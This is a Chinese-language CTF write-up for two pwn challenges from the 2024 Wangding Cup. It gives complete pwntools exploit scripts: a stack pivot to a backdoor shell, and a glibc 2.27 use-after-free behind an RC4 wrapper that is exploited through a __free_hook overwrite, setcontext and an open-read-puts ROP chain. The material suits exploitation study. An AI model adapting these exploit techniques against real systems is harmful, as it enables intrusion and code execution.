2024年网鼎杯青龙组 pwn

pwn2

开局泄露栈地址,又是栈溢出,直接栈转移拿下

bash 复制代码
from pwn import *
from LibcSearcher import LibcSearcher
#from Crypto.Util.number import bytes_to_long,bytes_to_long
#--------------------setting context---------------------
context.clear(arch='amd64', os='linux', log_level='debug')
li = lambda content,data : print('\x1b[01;38;5;214m' + content + ' = ' + hex(data) + '\x1b[0m')
lg = lambda content : print('\x1b[01;38;5;214m' + content +'\x1b[0m')
sla = lambda data, content: io.sendlineafter(data,content)
sa = lambda data, content: io.sendafter(data,content)
sl = lambda data: io.sendline(data)
rl = lambda data: io.recvuntil(data)
re = lambda data: io.recv(data)
sa = lambda data, content: io.sendafter(data,content)
dbg = lambda    : gdb.attach(io)
bk = lambda : (dbg(),pause())
inter = lambda: io.interactive()
l64 = lambda    :u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
h64=lambda     :u64(io.recv(6).ljust(8,b'\x00'))
add=0
orw_shellcode = asm(shellcraft.open('flag') + shellcraft.read(3, add, 0x30) + shellcraft.write(1,add, 0x30))
def dbg(c = 0):
    if(c):
        gdb.attach(io, c)
        pause()
    else:
        gdb.attach(io)
        pause()

#---------------------------------------------------------
filename = "./short"
#io = process(filename)
io = remote("0192d60ff4427dff9e9f1e7ecaacbc14.diu4.dg07.ciihw.cn",46513)
elf = ELF(filename)
libc=ELF("/lib/i386-linux-gnu/libc.so.6")
#初始化完成---------------------------------------------------------\
sla(b':',b'admin')
sla(b':',b'admin123')
rl(b'this:')
s=io.recv(11)
print(s)
badd=int(s,16)
print(hex(badd))
backdoor=0x80485ff
#payload=b'/bin/sh\x00'+b'a'*68+b'a'*4+p32(elf.bss()+0x100)+p32(0x8048662)
payload=(p32(backdoor)*2+p32(badd+8+4)+b'/bin/sh\x00').ljust(0x50,b'a')+p32(badd)+p32(0x804860F)
#dbg()
sa(b'plz input your msg:',payload)

inter()

pwn4

开头卡了一个账号密码,是未知的,但根据回显可以判断长度,最后写一个随机字符串爆破算法爆破出来了

2.27的堆题,漏洞点是uaf,但是这个堆题包装了一个rc4加密

rc4本质是就是字符的异或,两次rc4就可以恢复原来的,审计发现,add功能的时候会加密一次,然后show会加密恢复一次,然后show之后再加密,free功能会把内容全加密一次,edit功能也会

因此,我们在free掉之后,在调试中看是没加密的,但是show功能出来的是加密之后的,因此泄露地址的时候接收到的是密文,我们直接rc4一次就可以了,还有后续uaf修改也需要去提前处理

撕开这层包装,后面就是uaf泄露地址然后改freehook然后orw了

exp如下

bash 复制代码
from pwn import *
#from Crypto.Util.number import bytes_to_long,bytes_to_long
#--------------------setting context---------------------
context.clear(arch='amd64', os='linux', log_level='debug')
li = lambda content,data : print('\x1b[01;38;5;214m' + content + ' = ' + hex(data) + '\x1b[0m')
lg = lambda content : print('\x1b[01;38;5;214m' + content +'\x1b[0m')
sla = lambda data, content: io.sendlineafter(data,content)
sa = lambda data, content: io.sendafter(data,content)
sl = lambda data: io.sendline(data)
rl = lambda data: io.recvuntil(data)
re = lambda data: io.recv(data)
sa = lambda data, content: io.sendafter(data,content)
dbg = lambda    : gdb.attach(io)
bk = lambda : (dbg(),pause())
inter = lambda: io.interactive()
l64 = lambda    :u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
h64=lambda     :u64(io.recv(6).ljust(8,b'\x00'))
add=0
orw_shellcode = asm(shellcraft.open('flag') + shellcraft.read(3, add, 0x30) + shellcraft.write(1,add, 0x30))
def dbg(c = 0):
    if(c):
        gdb.attach(io, c)
        pause()
    else:
        gdb.attach(io)
        pause()

#---------------------------------------------------------
filename = "./pwn"
#io = process(filename)
io = remote("0192d73de23d7e60b2db8af8f087fcb7.srv9.dg07.ciihw.cn",44909)
#elf = ELF(filename)
libc=ELF("./libc.so.6")
#初始化完成---------------------------------------------------------\
def add(size,index,payload):
	sla(b'>',b'1')
	sla(b':',str(index))
	sla(b':',str(size))
	sa(b':',payload)
def free(index):
	sla(b'>',b'3')
	sla(b':',str(index)) 	
def show(index):
	sla(b'>',b'2')
	sla(b':',str(index))

def edit(index,payload):
	sla(b'>',b'4')
	sla(b':',str(index))
	sa(b':',payload)

#rc4
def KSA(key):
    """ Key-Scheduling Algorithm (KSA) """
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) % 256
        S[i], S[j] = S[j], S[i]
    return S
 
def PRGA(S):
    """ Pseudo-Random Generation Algorithm (PRGA) """
    i, j = 0, 0
    while True:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        K = S[(S[i] + S[j]) % 256]
        yield K
 
def RC4(key, text):
    """ RC4 encryption/decryption """
    S = KSA(key)
    keystream = PRGA(S)
    res = []
    for char in text:
        res.append(char ^ next(keystream))
    return bytes(res)
sla(b'Input your username:',b'4dm1n')
sla(b'Input your password:',b'985da4f8cb37zkj')
for i in range(8):
      add(0x120,i,b'aaaa\n')
add(0x120,8,b'aaaa\n')
for i in range(7):
	free(i)
free(7)
show(7)
#dbg()

#leak libc
rl(b'[key,value] = [7,')
add2=io.recvuntil(b'Encrypt')[0:-9]
print(add2)
key = b's4cur1ty_p4ssw0rd'
ciphertext = RC4(key, add2)
print(ciphertext[0:8])
libcbase=u64(ciphertext[0:8])-0x3ebca0
#add=h64()
lg(hex(libcbase))
#dbg()

#leak heap
show(6)
rl(b'[key,value] = [6,')
add2=io.recvuntil(b'Encrypt')[0:-9]
print(add2)
key = b's4cur1ty_p4ssw0rd'
ciphertext = RC4(key, add2)
print(ciphertext[0:8])
heapbase=u64(ciphertext[0:8])
lg(hex(heapbase))
#hacker free_hook
free_hook=libcbase+libc.sym['__free_hook']
lg(hex(free_hook))
free_hook = f"{free_hook:x}".zfill(16)
free_hook=bytes.fromhex(free_hook)
free_hook=free_hook[::-1]
#setcont=libcbase+libc.sym['setcontent']+61
key = b's4cur1ty_p4ssw0rd'
efree = RC4(key, free_hook)
edit(6,efree+b'\n')
add(0x120,9,b'aaaaa\n')
#dbg()
setcontext=libcbase+libc.sym['setcontext']+53
lg(hex(setcontext))
setcontext = f"{setcontext:x}".zfill(16)
setcontext=bytes.fromhex(setcontext)
setcontext=setcontext[::-1]
efree = RC4(key, setcontext)
add(0x120,0,efree+b'\n')
# 计算 ROP gadgets 和函数地址
pop_rdi = libcbase +0x000000000002164f
pop_rsi = libcbase + 0x0000000000023a6a 
pop_rdx = libcbase + 0x0000000000130539
read_addr = libcbase + libc.sym['read']
puts_addr =libcbase+ libc.sym['puts']
open_addr = libcbase+libc.sym['open']
ret=libcbase+0x00000000000008aa
# 构建 ROP 链
orw1 = (
    p64(pop_rdi) + p64(heapbase+0x478) +  # open
    p64(pop_rsi) + p64(0) + 
    p64(open_addr)+
    p64(pop_rdi) + p64(3) +  # read
    p64(pop_rsi) + p64(heapbase) +
    p64(pop_rdx) + p64(0x30) + p64(heapbase) +
    p64(read_addr) +
    
    p64(pop_rdi) + p64(heapbase) +  # puts
    p64(puts_addr)
)
orw1.ljust(0xa8,b'a')
orw1+=p64(heapbase+0x390)*5+p64(ret)*8+b'./flag.txt\x00'
#orw1+=p64(heapbase+0x390)*8+b'flag\x00'
# 转换为字节串并处理
orw=p64(pop_rdi)
orw_hex = orw.hex().zfill(16)  # 直接用 .hex() 方法
orw_bytes = bytes.fromhex(orw_hex)
# 加密
efree = RC4(key, orw_bytes)
orw=p64(pop_rsi)
orw_hex = orw.hex().zfill(16)  # 直接用 .hex() 方法
orw_bytes = bytes.fromhex(orw_hex)
efree += RC4(key, orw_bytes)


edit(8, orw1+b'\n')
#dbg()
free(8)
inter()

好久没搞2.27的orw了,我setcontext还是用的+61的,卡了一下